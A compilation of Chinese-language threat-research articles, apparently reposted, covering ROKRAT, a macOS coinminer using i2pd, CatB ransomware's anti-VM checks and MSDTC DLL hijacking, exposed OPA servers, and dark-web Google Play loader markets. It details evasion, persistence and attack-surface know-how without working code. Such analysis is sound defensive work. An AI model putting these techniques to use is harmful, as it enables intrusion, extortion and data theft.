計算機類型—通過查詢HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mssmbios\Data下的SMBiosData註冊表值獲得；

VMware工具版本數據；

系統BIOS版本；

為了進一步隱藏其踪跡，ROKRAT將收集到的有關計算機的數據標記為MP3:

21.png

將從受害計算機收集的加密數據發送到pCloud的POST請求標頭

首先，使用一個隨機的四字節密鑰對數據進行異或運算。由於這個原因，數據以硬編碼的四字節值0xBAADFEDE開始。由於攻擊者知道硬編碼的值，他們可以通過使用0xBAADFEDE對異或數據的前四個字節進行異或來獲得異或密鑰。然後用AES-CBC對異或數據進行加密。最後，使用硬編碼的RSA公鑰對AES密鑰進行加密，以確保只能使用RSA私鑰對有效負載進行解密。

儘管CC通信已經在HTTPS流量中加密，但ROKRAT通過使用AES加密上傳到CC的數據進一步進行了加密。當惡意軟件初始化時，它會生成兩個隨機的16字節值，作為用於加密命令和有效負載的AES密鑰的基礎。惡意軟件還附帶了一個硬編碼的16字節值，然後對兩個隨機值進行異或。結果是兩個AES密鑰，一個用於加密和解密命令，另一個用於加密和解密有效負載。

ROKRAT命令每個命令都由一個字符標識。有些命令採用參數，並且這些參數是在命令ID字符之後提供的。在識別出正確的命令後，代碼會根據命令的類型解析參數。下表列出了研究人員在ROKRAT中發現的命令，以及它們預期的參數和操作：

22.1.png

22.2.png

在收到清理命令（d）後，ROKRAT運行以下命令來刪除惡意軟件最初未使用的持久性機制。它們可能與感染後的活動有關。

23.png

在接收到命令1-4後，ROKRAT創建一個名為out.txt的文件，其中包含有關係統的信息：

24.png

總結我們介紹了臭名昭著的APT37的最新活動，介紹了幾種不同的感染鏈，其中大多數導致ROKRAT有

HireHackking

一個Mac 挖礦軟件被發現在其例行程序和I2P 網絡中使用開源組件來隱藏其流量。我們深入研究了這種惡意軟件的舊版本，並分析了最新版本。

挖礦軟件是攻擊者最喜歡應用的惡意軟件類型，一旦安裝在受害者的設備上，它們幾乎不需要維護。攻擊者可以讓挖礦軟件偽裝成合法的應用程序，誘騙易受攻擊的用戶在他們的系統上運行它。在這篇文章中，我們會介紹2022 年1 月上旬發現的貨幣挖礦軟件樣本的分析結果。該樣本使用了幾個經過修改的開源組件，攻擊者對其進行了修改。該樣本還被發現使用i2pd（又名I2P 守護程序）來隱藏其網絡流量。 I2pd 是隱形Internet 協議或I2P 客戶端的C++ 實現。 I2P 是一個通用匿名網絡層，它允許匿名的端到端加密通信，攻擊者不會透露他們的真實IP 地址。以前，其他Mac 惡意軟件樣本（Eleanor、DOK、Keranger）使用Tor 來隱藏其網絡活動，因此i2pd 的這種用法是最新出現的。

攻擊過程主要惡意軟件樣本被檢測為Coinminer.MacOS.MALXMR.H (SHA 256 9518906dc416de6c6a5d17479244cf698b062c1d6b4425d86ee6895ce66c7c39)。這是一個Mach-O 文件，很早就被多家供應商標記，因為它包含與XMRig 相關的字符串，這些字符串很容易被Yara 等採購工具捕獲。 XMRig 是用於挖掘門羅幣加密貨幣的命令行應用程序，由於其可用性和易用性，通常被其他惡意軟件用於執行加密挖掘。

發現主要的Mach-O 樣本是臨時簽名的，如下圖所示。這意味著Mach-O 二進製文件不會輕易在Mac 系統上運行，並且可能會被Gatekeeper 阻止，這是一個內置的安全機制強制執行代碼簽名的macOS 功能。

Mac%20Coinminer%201.webp.jpg

Mach-O 樣本的數字簽名，已經過臨時簽名

我們懷疑Mach-O 樣本以DMG（一種用於壓縮安裝程序的Apple 圖像格式）封裝到Adobe Photoshop CC 2019 v20.0.6。但是，未成功獲取父文件。我們根據下圖中的代碼片段得出了這個結論，該代碼片段可以在其刪除的文件中找到。在此代碼中，示例嘗試啟動/Volumes 路徑中不存在的文件。需要注意的是，對於DMG 文件，當在macOS 上雙擊時，它們默認安裝在/Volumes 目錄中。

2.png

嘗試啟動不存在文件的代碼片段

安裝貨幣挖礦軟件發現主要的Mach-O 樣本（檢測為Coinminer.MacOS.MALXMR.H）包含幾個嵌入式Mach-O 文件。執行時，它利用AuthorizationExecuteWithPrivileges API 通過提示用戶輸入憑據來提升權限。

Mac%20Coinminer%203.webp.jpg

使用AuthorizationExecuteWithPrivileges API 通過提示用戶輸入憑據來提升權限的代碼片段

Mac%20Coinminer%204.webp.jpg

測試期間顯示的用戶提示

然後，該示例會將以下文件放入系統中：

/tmp/lauth

/usr/local/bin/com.adobe.acc.localhost

/usr/local/bin/com.adobe.acc.network

/usr/local/bin/com.adobe.acc.installer.v1用於持久化的lauth 文件lauth 是Mach-O 文件，負責為惡意軟件的持久性例程創建以下文件：/Library/LaunchDaemons/com.adobe.acc.installer.v1.plist。正是這個文件在每次啟動時啟動/usr/local/bin/com.adobe.acc.installer.v1。

5.png

LaunchDaemon plist 文件

該示例還嘗試啟動以下不存在的文件：/Volumes/Adobe Photoshop CC 2019 v20.0.6/Adobe Zii 2019 4.4.2.app/Contents/MacOS/.Patch。

6.png

lauth Mach-O 文件的代碼片段

用於啟動二進製文件的com.adobe.acc.installer.v1 文件com.adobe.acc.installer.v1 文件是com.adobe.acc.installer.v1.plist 在每次啟動時啟動的Mach-O 二進製文件。執行後，它會休眠60 秒，然後啟動以下Mach-O 二進製文件：

/usr/local/bin/com.adobe.acc.localhost

/usr/local/bin/com.adobe.acc.network

7.png

com.adobe.acc.installer.v1 的代碼片段

com.adobe.acc.localhost 挖礦示例Mach-O 二進製文件com.adobe.acc.localhost 負責挖礦示例。該文件是經過修改的XMRig 命令行應用程序。啟動應用時在參數中輸入--help 或--version 即可看到。 --version 參數顯示XMRig 二進製文件的版本，--help 參數顯示可以使用的參數的列表和說明。

8.png

在示例上使用--version 參數時顯示的命令行信息

XMRig 是一個開源、跨平台的命令行應用程序，用於挖掘加密貨幣。用戶可以從命令行輸入他們的挖礦服務器地址以及挖礦服務器的用戶名/密碼作為參數。或者，用戶也可以加載JSON 格式的配置文件，而不是使用參數。

9.png

XMRig 應用程序的命令行選項取自XMRig 網站，https://xmrig.com/docs/miner/command-line-options

對於此示例，我們使用從https://xmrig.com/下載的XMRig 對文件進行了交叉檢查，我們能夠在com.adobe.acc.localhost 二進製文件中觀察到以下JSON 格式的配置文件。我們採購的其他XMRig 二進製文件中不存在此嵌入式配置文件。

10.png

com.adobe.acc.localhost 中嵌入的JSON 格式的配置文件

以下是嵌入式配置文件中的以下值得注意的條目：

挖礦服務器：127.0.0.1:4545

用戶名：pshp

密碼：x

需要注意的是，挖礦服務器地址似乎無效，因為127.0.0.1 地址是本地主機地址。

11.png

惡意軟件樣本（右）和XMRig 二進製文件（左）的比較。請注意惡意軟件樣本使用嵌入式JSON 格式的配置文件。

將/usr/local/bin/com.adobe.acc.network 識別為修改後的i2pd 應用程序在檢查com.adobe.acc.network Mach-O 文件中的可讀字符串後，我們能夠確定它是經過修改的i2pd 應用程序。使用--version 或--help 參數時，命令行中的以下顯示支持這一發現。

12.png

在示例上使用--version 參數時顯示的命令行信息

如前所述，i2pd 是用C++（而不是Java）編寫的I2P 的開源替代實現。

I2P 是一個匿名網絡層（實現為混合網絡），可以躲避安全審查，進行點對點通信。匿名連接是通過加密用戶的流量（通過使用端到端加密）並通過分佈在世界各地的大約55000 台計算機的志願者運行網絡發送來實現的。 I2P 也可以看作是Tor 的替代方案。

我們將惡意軟件二進製文件與從該鏈接下載的相同版本的官方二進製文件進行了比較：https://github.com/PurpleI2P/i2pd/releases/download/2.27.0/i2pd_2.27.0_osx.tar.gz。

由於二進製文件大小約為10 MB，因此查找惡意軟件例程具有挑戰性。正因為如此，我們將注意力集中在官方版本中沒有的可讀字符串和代碼上。然後我們能夠找到以下可疑字符串和相關代碼片段：e4ppgzueqjiam3qvhzffwraakvcgzrjp5dzl3xzv24w6q5rjr7kq.b32.i2p:4545I。

13.png

com.adobe.acc.network 中包含配置信息的代碼片段。請注意，圖像經過編輯以便於查看。

以下信息取自上圖：

14.png

我們查看了i2pd 文檔，我們能夠從以下鏈接中找到一些有用的信息：https://i2pd.readthedocs.io/en/stable/user-guide/tunnels/#client-tunnels。

15.png

i2pd 文檔的屏幕截圖

基於上述信息，我們可以得出結論，到127.0.0.1:4545 的XMRig 流量將通過i2pd 隧道傳輸到e4ppgzueqjiam3qvhzffwraakvcgzrjp5dzl3xzv24w6q5rjr7kq.b32.i2p:4545。我們可以使用lsof 終端命令查看此連接。

16.png

lsof 命令顯示示例訪問的IP 地址和端口

需要注意的是，網站e4ppgzueqjiam3qvhzffwraakvcgzrjp5dzl3xzv24w6q5rjr7kq.b32.i2p:4545只能通過I2P訪問。

發現舊樣本我們使用TLSH、Yara 和其他工具在VirusTotal 和我們的樣本集合中尋找其他類似的樣本。我們能夠找到以下樣本，它們也使用i2pd 將流量隧道傳輸到I2P 網站以下載可能的惡意樣本。

17.png

在分析了較舊的樣本後，我們發現了某些相似之處：

這些樣本被懷疑偽裝成Adobe Photoshop 或Logic Pro X。

所有五個示例都使用i2pd 訪問同一個i2pd 下載服務器。

下載服務器託管多個文件。

一些樣本利用隨機文件名和零字節填充來逃避檢測。

觀察到四個樣品具有持久性常規，一個示例嘗試覆蓋已安裝的Adobe Photoshop 應用程序中的Mach-O 可執行文件。

懷疑所有樣本都封裝在DMG 文件中，因為這些樣本嘗試從默認掛載DMG 文件的/Volumes 目錄啟動或複制。

對於下載的後綴為“_md5”的文件，其內容預計為md5哈希。哈希值將與其他下載文件的md5 哈希值進行比較。如果它們不相等，帶有“_md5”後綴的文件將重試下載。

對於較舊的示例，創建了兩個隧道，但只使用了127.0.0.1:4546。最新的挖礦軟件樣本只創建了一個隧道：127.0.0.1:4545。

18.png

lsof 命令顯示了舊樣本訪問的IP 地址和端口

總結我們調查了一個使用多個個性化開源應用程序來增強其惡意程序的挖礦軟件樣本。我們發現，即使修改很小，它們似乎也很有效。我們還發現，該惡意軟件利用i2pd 將其網絡流量隱藏在未經訓練的人眼中，這與其他使用知名Tor 的惡意軟件不同。

HireHackking

微信截图_20230104102636.png

最新發現的勒索軟件CatB，該軟件通過處理器內核檢查，物理內存大小檢查和硬盤大小來檢查自己是否是在虛擬機中，然後執行MSDTC 服務的DLL劫持繞過殺毒軟件。

我們最近發現了一個新型勒索軟件，它執行MSDTC服務DLL劫持以靜默執行其有效負載。我們根據勒索軟件組使用的聯繫電子郵件將此勒索軟件命名為CatB。該樣本於2022年11月23日首次上傳至VT，並被VT社區標記為Pandora勒索軟件的可能變體。 Pandora組織首次出現於2022年2月中旬，主要以企業網絡為目標進行針對性攻擊，主要通過釣魚郵件、漏洞利用、RDP爆破等方式進行傳播，採用Raas雙重勒索的策略，在對用戶系統進行加密導致工作無法正常運作的情況下，利用竊取的數據脅迫用戶支付贖金，否則就外洩。該組織使用Tor站點或者Email郵箱方式與受害者聯繫。

Pandora 勒索軟件最重要的功能就是應用了先進的反逆向技術，雖然在惡意軟件中反逆向技術很常見，但Pandora的這一功能頗為突出。與潘多拉勒索軟件的聯繫僅限發出的勒索信。 CatB勒索軟件實現了幾種反虛擬機技術，以驗證在真實設備上的執行情況，然後釋放惡意DLL和劫持DLL以逃避檢測。

CatB勒索軟件包含兩個文件，包含UPX的dropper(version.dll)和勒索軟件有效負載(oci.dll)。 dropper處理反vm檢查，釋放勒索軟件負載並執行它。

反虛擬機（Anti-VM）CatBdropper實現了三種反虛擬機/沙盒規避技術：

處理器內核檢查：現如今的真實計算機都至少有兩個處理器，所以如果勒索軟件只檢測到一個CPU內核，這將是一個很強的信號，表明它當前駐留在沙盒中。勒索軟件通過GetSystemInfo API函數檢索系統信息並檢查處理器數量。如果少於兩個處理器，則退出立即中斷執行。

figure-1-check-number-of-processors.webp.jpg

處理器檢查

總物理內存檢查：與虛擬機不同，現在的虛擬機都至少有2GB RAM，通常在4GB和32GB之間。 CatB勒索軟件通過檢查物理內存大小來檢測虛擬機/沙盒。這是通過使用GlobalMemoryStatusEx API函數檢索有關物理和虛擬內存的信息來完成的。在本文的示例中，如果即將運行的物理內存少於2GB，勒索軟件會退出。

figure-2-RAM-check.webp.jpg

物理內存檢查

硬盤大小：惡意軟件可以檢查設備的硬盤大小，並根據該參數繼續執行。這可以通過使用DeviceIoControl Api函數實現，其中“0x70000”作為dwIoControlCode參數傳遞。 CatB勒索軟件只能在至少有50GB硬盤的設備上執行。

figure-3-anti-vm-disk-size.webp.jpg

硬盤大小檢查

DLL劫持如果所有反VM檢查都通過，則dropper將繼續執行，並將勒索軟件負載（oci.dll）放入C:\Windows\System32文件夾。接下來，它將查找MSDTC服務（分佈式事務協調器Windows服務，負責協調數據庫（SQL Server）和web服務器之間的事務）並更改其配置。

figure-4-open-service.webp.jpg

MSDTC服務

更改的配置包括運行服務的帳戶名稱（從“網絡服務”更改為“本地系統”）和服務啟動選項（如果重新啟動，則從“按需啟動”更改為自動啟動以實現持續性）。

figure-5-services.webp.jpg

服務配置更改

運行服務的帳戶已更改為授予服務管理員權限，因為網絡服務帳戶使用用戶權限運行。更改啟動類型將授予勒索軟件在每次系統重新啟動時執行的能力。

dropper在更改其配置後啟動服務。此服務啟動時，默認情況下會嘗試從System32文件夾加載幾個DLL。這使它有機會將任意DLL（在本例中為oci.DLL）植入此文件夾中，以執行惡意代碼。

勒索軟件此時惡意oci.dll文件被加載到msdtc.exe進程中，然後加密進程啟動。 CatB枚舉並加密特定的硬編碼磁盤和文件夾：

6.1.png

6.2.webp.jpg

硬編碼磁盤

CatB避免使用帶有.msi、exe、dll、sys、iso擴展名和NTUSER.DAT的文件。 CatB勒索軟件的一個有趣之處是，勒索通知被添加到每個加密文件的開頭，而不是像大多數勒索軟件那樣作為一個單獨的文件添加到每個文件夾中。它也不改變文件擴展名。這可能會在一開始使用戶感到困惑，他們可能沒有註意到加密，並且文件將看起來已經被攻擊，因為二進制內容被破壞，他們無法打開它。勒索通知本身看起來與Pandora和Crypt贖金通知非常相似，其中一部分甚至是複制/粘貼的。

7.webp.jpg

加密文件

通知中沒有官方的贖金名稱，也沒有tor網站的URL。聯繫勒索軟件運營商的唯一方法是通過電子郵件。

目前像Minerva Armor這樣的勒索軟件保護平台會通過模擬勒索軟件積極試圖避免的環境數據，輕鬆防止CatB勒索軟件。例如，當勒索軟件查詢處理器的數量時，Minerva Armor會讓它相信自己所處的環境只有1個CPU，從而自動退步並終止運行。

8.webp.jpg

9.png

HireHackking

本文會介紹OPA 以及它的用途，並結合已發現的案例來說明通過Shodan 識別389 個暴露的OPA 服務器後發現了什麼，以及暴露的OPA 如何對用戶的應用程序的整體安全性產生哪些負面影響。

今年早些時候，趨勢科技發布了一份關於通過Shodan 發現243469 個暴露暴露的Kubernetes 節點的報告。另外，研究人員還發現了389 個易受攻擊的開放策略代理(OPA) 服務器。 OPA 是一個開源的雲本地計算基金會(CNCF) 項目，使用Go 編程語言開發，目前已被用作許多策略執行工具的主引擎，迄今為止下載量超過1.3 億次。它使用稱為Rego 的特定聲明性策略語言來設計其策略。 OPA 可用於各種系統和環境，例如Kubernetes、微服務、API 網關和其他雲本地工具。如果OPA服務器不受保護，它們的策略可能會洩露敏感的應用程序信息，包括用戶配置文件和正在使用的服務。這些暴露的策略還可能無意中洩露關於系統應該如何工作的信息，以繞過對已實現策略的限制，攻擊者可以利用這些限制進行攻擊。

Fig1_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

OPA 架構概述

這篇文章討論了研究人員在通過Shodan 識別出數百個暴露的OPA 服務器後發現的問題，以及暴露的OPA 如何對你的應用程序的整體安全性產生負面影響。

策略即代碼（PolicyAsCode）的需求Policy As Code本質上都是讓原來對Policy 描述抽象成代碼，從而擁有代碼的特性（復用性、抽象性、可執行、可測試、版本化等），以此來獲得更高層次的抽象。

在當今包含sprint、scrum、container、DevOps 和DevSecOps 以及雲的運行環境中，如果不使用自動化，網絡、安全和合規團隊很難跟上開發團隊和業務需求。這就是為什麼基礎設施即代碼(IaC)、GitOps 和安全即代碼(SaC) 等方法在保護雲環境和微服務方面變得必不可少的原因。所有這些方法共同實現雲安全，目的就是幫助在流程和部署開始時集成安全性，以防止威脅和風險。

但是合規性呢？你如何檢查、執行和持續監控你的系統，以確保它們遵循安全最佳實踐並遵守最新的安全標準，例如支付卡行業數據安全標準(PCI-DSS)、健康保險流通與責任法案(HIPAA)，以及系統和組織控制(SOC 2)？這就是策略即代碼發揮作用的地方，可以顯著幫助加快合規性創建、自動化和驗證過程。

策略即代碼（或合規性即代碼）已成為實施、管理和跟踪系統策略更改並確保它們在雲本地系統4C 中應用和實施的好方法：代碼、容器、集群和雲。

使用與IaC 和SaC 類似的方法，策略即代碼使用軟件開發中已經使用的所有出色工具和技術來解決合規性問題。一方面，策略以特定文件格式（如JSON 或YAML）或使用特定編程語言（如Python 或Rego）創建和存儲。這些存儲在Git 存儲庫中，用於版本控制、跟踪和可審計性。這樣，組織可以在發生更改時在這些存儲庫上開發和触發管道和自動化。策略即代碼可以在代碼審查、自動化測試以及持續集成和交付(CI/CD) 管道中以編程方式實施，確保更改在到達生產系統之前得到適當的驗證和測試。 OPA 是可用於策略即代碼流程的領先開源工具之一。它可用於網絡上的許多不同應用程序和系統。儘管如此，它的主要採集者之一是Kubernetes 集群的准入控制器，其中它的Gatekeeper版本作為任何試圖在集群中運行的容器的安全器。

Shodan 上暴露的服務器在分析暴露的雲本地工具，特別是暴露暴露的kubelet 時，研究人員還通過Shodan 發現了近400 個暴露在8181 端口上的OPA 服務器，而且這個數字在過去幾個月中一直在增加。端口8181 是OPA 服務器的默認端口，它們都具有可用於未經身份驗證和未經授權的請求的API 端點。根據研究人員的Shodan 搜索，美國、韓國和德國是暴露OPA 數量最多的前三個國家。

研究人員使用列表策略端點來收集有關該實例中安裝的所有策略模塊的信息，如官方OPA 文檔中所示。然後，研究人員查詢了每389 個開放的OPA 服務器，以識別、收集和分析它們可以通過其策略模塊信息暴露的敏感信息類型。研究人員主要關注Policy API 來列出策略和分析數據。

首先，研究人員通過查詢/v1/config/端點來分析安裝在這些服務器上的OPA 的版本。如下圖所示，大多數暴露的服務器都使用過時的OPA 版本，例如0.34.2。在撰寫本文時，最新的OPA 版本是0.43.0。

Fig3_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

根據在Shodan 上找到的數據，暴露的OPA 服務器數量及其版本

在上圖中，研究人員可以看到通過Shodan 找到的一個暴露OPA 服務器的示例。除了能夠通過此頁面查詢服務器之外，如果用戶輸入數據沒有得到適當的清理和驗證，它還可以作為命令注入攻擊的入口點。還有REST API 被暴露和未經身份驗證的問題。

Fig4_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

在Shodan 上發現了一個過時(0.29.3) 和暴露的OPA 服務器的示例。截至撰寫本文時，此OPA 服務器的最新版本為0.43。

同時，這是對該暴露服務器的/v1/policies 端點發出GET 請求的結果：

Fig5_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

從暴露的OPA 服務器訪問列表策略(/v1/policies) 端點以列出所有可用策略

在美化生成的policy.json文件並分析其內容後，研究人員從policy文件本身中發現了一些特殊的信息：

在這個暴露的OPA 服務器上有五個可用的規則，其ID 提供了有關其用途的線索；

'systems/ea2c8e2dbfa748608077be0d6fd45369/rules/rules.rego'；

'systems/ea2c8e2dbfa748608077be0d6fd45369/test/test.rego'；

'systems/ea2c8e2dbfa748608077be0d6fd45369/product/manager/rules/rules.rego'；

'systems/ea2c8e2dbfa748608077be0d6fd45369/product/rules/rules.rego'；

'systems/ea2c8e2dbfa748608077be0d6fd45369/backoffice/rules/rules.rego'；第一條規則是默認規則，默認返回值設置為false。第二條規則是測試規則；

研究人員可以訪問此暴露的OPA 服務器上可用的所有策略，這些策略可以以原始和抽象語法樹(AST) 格式訪問；

一些規則可以揭示內部應用程序角色，例如“發布者”和“編輯者”；

一些base64 編碼的數據轉換為“助手”。

分析暴露的OPA策略在從所有這些暴露的OPA 服務器收集和分析了近400 條策略之後，研究人員能夠找到以下信息：

這些策略中至少有33%的策略包含與應用程序相關的某種敏感信息，包括用戶配置文件、正在使用的服務，以及將通過Amazon Web Services (AWS) API 網關觸發API 的URL，甚至是一些內部系統URL。

這些策略中有91% 包含有關係統應如何運行以繞過基於已實施策略的某些限制的某種信息。

Fig6_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

在收集的OPA 策略中找到的相關和敏感信息的百分比

以下是一些服務和URL 示例，僅通過查看策略和它們為未經身份驗證的請求提供的輸出即可找到：

Fig7B_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

僅通過查看OPA 策略即可找到的服務和URL 示例

通過適當的請求或令牌，攻擊者可以獲得有關這些服務的更多信息，並尋找漏洞或其他入口點以進入組織的系統。研究人員強烈建議目前將OPA 用作其策略即代碼解決方案的公司，以確保他們不會無意中在線暴露其API 和策略。在某些情況下，公司可能會在沒有意識到的情況下使用OPA，Kubernetes 託管服務的多個提供商依賴OPA 來執行策略。

出於安全考慮，研究人員僅從REST API 查詢列表策略端點。但是，還有許多其他可用的端點和方法，它們不僅列出了敏感信息，而且還允許攻擊者編輯甚至刪除暴露的OPA服務器中的數據和對象。其中包括：

8.png

所有這些都可以在OPA REST API 文檔中找到。

保護OPA 服務器首先，OPA 服務器不應該暴露在互聯網上。因此，有必要限制該訪問，以避免任何人通過REST API 繞過你的OPA 配置。對於授權用例，OPA部署的標準模式是讓OPA與請求它做出決策的應用程序運行在同一台設備上。這樣，組織就不需要將OPA 暴露給互聯網或內部網絡，因為通信是通過localhost 接口執行的。此外，以這種方式部署OPA 意味著組織通常不需要為REST API 啟用身份驗證/授權，因為只有在同一台設備上運行的進程才能查詢OPA 實例。為此，可以使用“opa run --addr localhost:8181”啟動OPA，使其僅綁定到localhost 接口。

其次，當使用策略即代碼工具(如OPA)時，在源代碼管理(SCM)系統等位置保護策略是很重要的。通過分支保護和代碼所有者等特性，擁有適當的訪問控制來監視可以更改這些策略中的哪些內容也是至關重要的。有了SCM系統的強大功能，組織可以創建對這些策略的任何更改的更精簡的審查和批准過程，確保源代碼中的任何內容也反映在生產OPA服務器中。

TLS 和HTTPS如上所述，在Shodan 上發現的這些暴露的OPA 服務器中的大多數都沒有使用任何類型的通信加密，因為默認情況下沒有啟用這種加密。要配置TLS 和HTTPS，系統管理員需要創建證書和私鑰，並提供以下命令行標誌：

TLS 證書的路徑：--tls-cert-file=

TLS 私鑰的路徑：--tls-private-key-file=

有關此過程的最新信息，請參閱有關TLS 和HTTPS 的OPA 文檔。

身份驗證和授權默認情況下，OPA 身份驗證和授權機制是關閉的。這在OPA 的官方文檔中有所描述，系統管理員和DevOps 工程師在安裝後立即啟用這些機制至關重要。

根據OPA 文檔，這兩種機制都可以通過以下命令行標誌進行配置：

身份驗證：--authentication=

這可以是不記名令牌(--authentication=token) 或客戶端TLS 證書(--authentication=tls)。

授權：--authorization=

這使用Rego 策略來決定誰可以在OPA 中做什麼。它可以通過在OPA 啟動期間設置--authorization=basic 標誌並提供最小授權策略來啟用。

有關此過程的更多詳細信息，請參閱OPA 關於身份驗證和授權的官方文檔。

雲安全建議Kubernetes 是開發人員中最受歡迎的平台之一，其高采用率證明了這一點，並且沒有任何很快放緩的跡象。隨著用戶基礎的不斷擴大，Kubernetes的部署需要確保安全，免受威脅和風險。為此，開發人員可以將策略作為代碼工具，它可以幫助以自動化的方式實現控制和驗證過程。

除了努力應用一些基本的內務管理規則來保證Kubernetes 集群的安全之外，組織還可以使用特定於雲的安全解決方案。

HireHackking

sl-abstract-mobile-phone-malware-danger-blue-red-binary-code-1-1200x600.jpg

2022年，卡巴斯基安全解決方案檢測到近170萬個針對移動用戶的惡意軟件或不需要的軟件裝入程序。儘管傳播此類裝入程序的最常見方式是通過第三方網站和不正規的應用商店，但它們的開發者也會想方設法將它們上傳到Google Play等官方商店，以提高傳播範圍。

這些應用程序通常受到嚴格監管，並且在發布之前有專門人員對其進行預審核。可防不勝防，惡意和不需要的軟件開發者使用了各種技巧來繞過平台檢查。例如，他們可能會上傳一個良性的應用程序，然後用惡意或可疑的代碼更新它，感染新用戶和已經安裝該應用的用戶。惡意應用程序一被發現就會從Google Play中刪除，但有時是在下載多次之後才能被發現。

本文的研究起始於用戶投訴，有用戶投訴在Google Play上發現了許多惡意和不需要的應用程序，為此卡巴斯基實驗室的研究人員決定分析一下暗網上此類惡意軟件的供求情況。分析這種威脅是如何產生的尤為重要，因為許多攻擊者經常會集團化運作，買賣Google Play賬戶、惡意軟件、廣告服務等。這是一個完整的地下世界，有自己的規則、市場價格和聲譽機構，我們會在本報告中對此進行概述。

分析方法使用卡巴斯基數字足跡分析功能，研究人員收集到了Google Play此類情況的數據。卡巴斯基數字足跡會對文本存儲網站和受限制的地下在線論壇進行監控，以發現洩露的賬戶和信息洩露。本報告中提供的報價發佈於2019年至2023年，來自九個最受歡迎的論壇，用於購買和銷售與惡意軟件和不需要的軟件相關的商品和服務。

主要發現能夠將惡意或不需要的應用程序發送到Google Play的裝入程序的價格在2000美元到20000美元之間。

為了使攻擊不被發現，很大一部分攻擊者嚴格通過論壇和Telegram進行談判。

最流行的隱藏惡意軟件和不需要的軟件的應用程序類別包括加密貨幣跟踪器、金融應用程序、二維碼掃描儀，甚至約會應用程序。攻擊者接受三種主要的支付方式：一部分利潤、訂閱費或租金以及一次性支付。

攻擊者推出谷歌廣告吸引更多人下載惡意和不需要的應用程序。廣告的費用取決於目標國家。美國和澳大利亞用戶的廣告費用最高，高達1美元左右。

暗網上提供的惡意服務類型與合法的在線市場一樣，暗網上也有各種優惠，供有不同需求和預算的客戶使用。在下面的屏幕截圖中，你可以看到一個優惠列表，其中介紹了針對Google Play用戶可能需要的不同商品和服務的數量。這份清單的開發者認為價格太高，然而，它們與我們在其他暗網優惠中看到的價格並不矛盾。

攻擊者購買的主要產品是開發人員的Google Play帳戶，這些帳戶可以被攻擊者使用竊取的身份攻擊或註冊，以及幫助買家將其創作上傳到Google Play的各種工具的源代碼。此外，攻擊者還提供VPS（售價300美元）或虛擬專用服務器等服務，攻擊者使用這些服務來控制受感染的手機或重定向用戶流量，以及基於網絡的注入。網絡注入是一種監控受害者活動的惡意功能，如果他們打開了攻擊者感興趣的網頁，注入器就會將其替換為惡意網頁。這種功能的售價為每個25-80美元。

1.png

一家暗網服務提供商稱這些價格太高，並指出他們以更低的價格出售同樣的服務

Google Play裝入程序在分析的大多數優惠中，攻擊者出售Google Play裝入程序，其目的是將惡意或不需要的代碼注入Google Play應用程序。然後，該應用程序會在Google Play上更新，受害者可能會將惡意更新下載到他們的手機上。根據注入到應用中的具體內容，用戶可能會獲得更新的最終有效載荷，或者收到通知，提示他們啟用未知應用的安裝，並從外部來源安裝。

在後一種情況下，除非用戶同意安裝額外的應用程序，否則通知不會消失。安裝應用程序後，攻擊者需要獲得訪問手機關鍵數據的權限，如輔助服務、攝像頭、麥克風等。受害者可能無法使用原始的合法應用程序，直到他們給予執行惡意活動所需的權限。一旦所有請求的權限都被授予，用戶最終能夠使用應用程序的合法功能，但與此同時，他們的設備也會受到感染。

為了說服買家購買其開發的裝載程序，攻擊者有時會提供視頻演示，並向潛在客戶發送演示版本。在裝入程序功能中，他們的開發者可能會強調用戶友好的UI設計、方便的控制面板、目標國家過濾器、對最新Android版本的支持等等。攻擊者還可能為木馬應用程序添加檢測調試器或沙箱環境的功能。如果檢測到可疑環境，裝入程序可能會停止操作，或通知攻擊者它可能已被安全調查人員發現。

2.jpeg

Google Play裝入程序是暗網上Google Play攻擊中最受歡迎的產品

裝入程序的開發者通常會指定裝入程序使用的合法應用程序的類型。惡意軟件和不需要的軟件經常被注入加密貨幣跟踪器、金融應用程序、二維碼掃描儀甚至約會應用程序。攻擊者還強調了目標應用程序的合法版本有多少下載量，這意味著有很多潛在受害者會通過使用惡意或不需要的代碼更新應用程序而被感染。最常見的情況是，開發者承諾在下載量達到或超過5000次的應用程序中註入代碼。

3.jpeg

攻擊者出售將代碼注入加密貨幣跟踪器的Google Play裝入程序

綁定服務暗網上另一個常見的服務是綁定服務。本質上，這些裝入程序與Google Play裝入程序做的事情完全相同，即在合法應用程序中隱藏惡意或不需要的APK文件。然而，與裝入程序不同的是，裝入程序會調整注入的代碼以通過Google Play上的安全檢查，綁定服務會將惡意代碼插入到不一定適合官方Android市場的應用程序中。通常情況下，使用綁定服務創建的惡意和不需要的應用程序通過釣魚短信、帶有破解遊戲和軟件的可疑網站等方式傳播。

由於綁定服務的成功安裝率低於裝入程序，因此兩者在價格上有很大差異：裝入程序的成本約為5000美元而綁定服務的成本通常約為50 - 100美元或每個文件65美元。

4.jpeg

開發者對綁定服務的描述

開發者廣告中列出的綁定服務的優勢和功能通常與裝入程序的優勢和特點相似。不過，Binder（Binder 是一種進程間通信機制,基於開源的OpenBinder實現）通常缺乏與Google Play相關的功能。

惡意軟件模糊處理惡意軟件模糊處理的目的是通過使惡意代碼複雜化來繞過安全系統。在這種情況下，買家要么為處理單個應用程序付費，要么為訂閱付費，例如，每月付費一次。服務提供商甚至可以為購買套餐提供折扣。例如，其中一個開發者以440美元的價格提供50個文件的模糊處理，而同一提供商僅處理一個文件的成本約為30美元。

5.jpeg

Google Play威脅模糊處理優惠，每次50美元

安裝為了增加惡意應用程序的下載量，許多開發者甚至通過谷歌廣告來增加銷路。與其他暗網服務不同，這項服務是完全合法的，用於吸引盡可能多的應用程序下載，無論它是仍然合法的應用程序還是已被感染的應用程序。安裝成本取決於目標國家。均價為0.5美元，報價從0.1美元到1美元不等。在下面的截圖中，面向美國和澳大利亞用戶的廣告成本最高，為0.8美元。

6.png

開發者規定了每個國家的安裝價格

